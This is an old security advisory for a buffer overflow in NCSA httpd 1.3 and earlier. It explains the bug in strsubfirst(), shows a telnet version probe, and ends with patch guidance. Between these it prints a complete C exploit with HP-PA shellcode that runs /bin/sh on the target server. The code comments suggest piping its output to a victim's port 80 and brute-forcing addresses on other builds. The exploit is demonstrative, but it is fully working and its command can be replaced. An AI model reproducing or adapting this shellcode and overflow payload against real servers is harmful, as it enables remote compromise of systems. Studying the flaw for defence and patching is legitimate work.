COMMAND
NCSA httpd version 1.3 and earlier
PROBLEM
Internet users can obtain remote access on the machine as the
owner of the http daemon. The owner of the httpd is set by the
User Directive in the server configuration file httpd.conf.
There is no good reason to run a version of NCSA earlier than 1.5.
Upgrade to the latest version.
Telnet to the http port and use the http HEAD method to find out
the server type and version. If the server signature is NCSA/1.3
or earlier and a specific patch has not been installed the http
server is vulnerable.
ns0: {21} telnet www.netcraft.com 80
Trying 194.72.238.5...
Connected to www.netcraft.com.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.0 200 Document follows
Date: Thu, 28 Dec 1995 17:08:55 GMT
Server: NCSA/1.5
The vulnerability is triggered by a buffer overflow condition,
whereupon the server can be coerced into executing other
programs, such as a Unix shell.
Actually, this bug is similar to the bug in fingerd exploited by
the internet worm. The HTTPD reads a maximum of 8192 characters
when accepting a request from port 80. When parsing the URL part
of the request a buffer with a size of 256 characters is used to
prepend the document root (function strsubfirst(), called from
translate_name()). Thus we are able to overwrite the data after
the buffer. Since the stack grows towards higher addresses on the
HP-PA, we are able to overwrite the return pointer which is used
to return from the strcpy() call in strsubfirst(). The strcpy()
overwrites its own return pointer. On systems with a stack
growing the other direction, we'd have to overwrite the return
pointer of strsubfirst().
I've implemented this attack for the precompiled HP-PA release
provided by the NCSA. To adapt it to custom versions, you have to
know the address of the buffer used by strsubfirst() and the
offset of the return pointer. One might adapt the program to try
'probable' values, i. e. values within a certain range, if these
parameters are not known. I've tried 'cc' and 'gcc' with and
without optimization and the parameters didn't vary to much. A
generic attack using brute force should therefore be possible.
This is the program I've used to break into our WWW server. The
assembly code could have been more compact, but I had to avoid
0x00 bytes. The program creates a file named 'GOTCHA' in the
'/tmp' directory.
--- cut here ---
/* hc.c */
/* This program demonstrates a vulnerability in the NCSA httpd 1.3 */
/* We make use of a buffer overflow in order to execute commands */
/* on a HP host running the precompiled daemon provided by the NCSA. */
/* The problem is that the array 'tmp' in the function 'strsubfirst()' */
/* has a length of MAX_STRING_LEN. However, the function can be passed */
/* arguments with up to HUGE_STRING_LEN characters. */
/* The output of this program can be pasted into a telnet session */
/* to port 80 of the host to be attacked. */
/* Alternatively simply use 'hc | telnet www.victim.com 80'.
/* Written by Thomas Lopatic, lopatic@informatik.uni-muenchen.de */
#include <stdio.h>
#include <string.h>
/* Instead of defining these macros we could try all probable values */
/* in case the attacked host does not run the precompiled httpd. */
/* The address of 'char tmp[MAX_STRING_LEN]' in the precompiled httpd. */
#define TMPVAR 0x7b03df80
/* This is an offset from TMPVAR. The return pointer for the call to */
/* strcpy() is stored here (in the precompiled httpd). */
#define RPOFF 0x160
/* Byte order of the attacked HP is big endian. */
#define SHIFT1 24
#define SHIFT2 16
#define SHIFT3 8
#define SHIFT4 0
/* Output the lower nibble of i */
char d2a (i)
int i;
{
i &= 0xf;
return (i > 9) ? (i + 'A' - 10) : (i + '0');
}
/* This is the short assembly language program which will be executed. */
char prog[] = {
0x34, 0x59, 0x01, 0x02, 0x34, 0x5a, 0x01, 0x32,
0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x01,
0x63, 0x40, 0x3f, 0xff, 0x34, 0x5a, 0x01, 0x38,
0x63, 0x40, 0x3f, 0x35,
0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x09,
0x63, 0x40, 0x3f, 0xff, 0x0b, 0x5a, 0x02, 0x9a,
0x6b, 0x3a, 0x3f, 0x11, 0x34, 0x5a, 0x01, 0x22,
0x37, 0x5a, 0x3e, 0xf9, 0x6f, 0x3a, 0x3e, 0xf9,
0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x1e,
0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9,
0x0b, 0x5a, 0x02, 0x9a, 0x20, 0x20, 0x08, 0x01,
0x34, 0x16, 0x01, 0x0a, 0xe4, 0x20, 0xe0, 0x08,
0x36, 0xd6, 0x3e, 0xf9, 0xe8, 0x5f, 0x1f, 0x35,
0x0b, 0x5a, 0x02, 0x9a,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x00
};
int main ()
{
char buffer[400];
int i;
/* Copy program, append the arguments. The '$'s are replaced */
/* with 0x00s by the assembly language routine. */
strcpy (buffer, prog);
strcat (buffer, "/bin/sh$");
strcat (buffer, "-c$");
/* Length of the argument must be exactly 30 characters. */
/* Otherwise the '$' will not be replaced correctly. */
/* strcat (buffer, "0123456789012345678901234567890123456789$"); */
strcat (buffer, "echo GOTCHA >/tmp/GOTCHA $");
/* Output the http request. */
printf ("GET ");
/* Output the program. */
for (i = 0; i<strlen (buffer); i++)
printf ("%%%c%c", d2a (buffer[i] >> 4), d2a (buffer[i]));
/* Fill the buffer until we have reached the memory location */
/* which contains the return pointer for strcmp(). */
for (i = strlen (buffer); i<RPOFF; i++)
printf ("X");
/* Output the entry point for our program. strcmp() will */
/* 'return' into our small assembly program. */
printf ("%%%c%c%%%c%c%%%c%c%%%c%c\n",
d2a ((TMPVAR + 0x60) >> (SHIFT1 + 4)),
d2a ((TMPVAR + 0x60) >> SHIFT1),
d2a ((TMPVAR + 0x60) >> (SHIFT2 + 4)),
d2a ((TMPVAR + 0x60) >> SHIFT2),
d2a ((TMPVAR + 0x60) >> (SHIFT3 + 4)),
d2a ((TMPVAR + 0x60) >> SHIFT3),
d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)),
d2a ((TMPVAR + 0x60) >> SHIFT4));
return 0;
}
--- cut here ---
SOLUTION
The advice given in Cert Advisory CA-95:04 is misleading as
two alternative patches are presented as a single solution. The
material in Step 1 of the Cert advisory should be ignored. If
you intend to patch your existing server rather than upgrade,
simply follow the instructions in Step 2 of their advisory. Cert
issued an update to this effect on 15th March 1995.
Step 1:
In the file httpd.h, change the string length definitions from:
/* The default string lengths */
#define MAX_STRING_LEN 256
#define HUGE_STRING_LEN 8192
to:
/* The default string lengths */
#define HUGE_STRING_LEN 8192
#define MAX_STRING_LEN HUGE_STRING_LEN
The NSCA httpd team point out that there are 154 variable
declarations which use MAX_STRING_LEN in the server, and changing
them from 256 to 8192 increases virtual memory requirements very
significantly. However, there is no further vulnerability arising
from strings exceeding the larger buffer size as 8192 is the
maximum number of characters read by the server in response to a
request.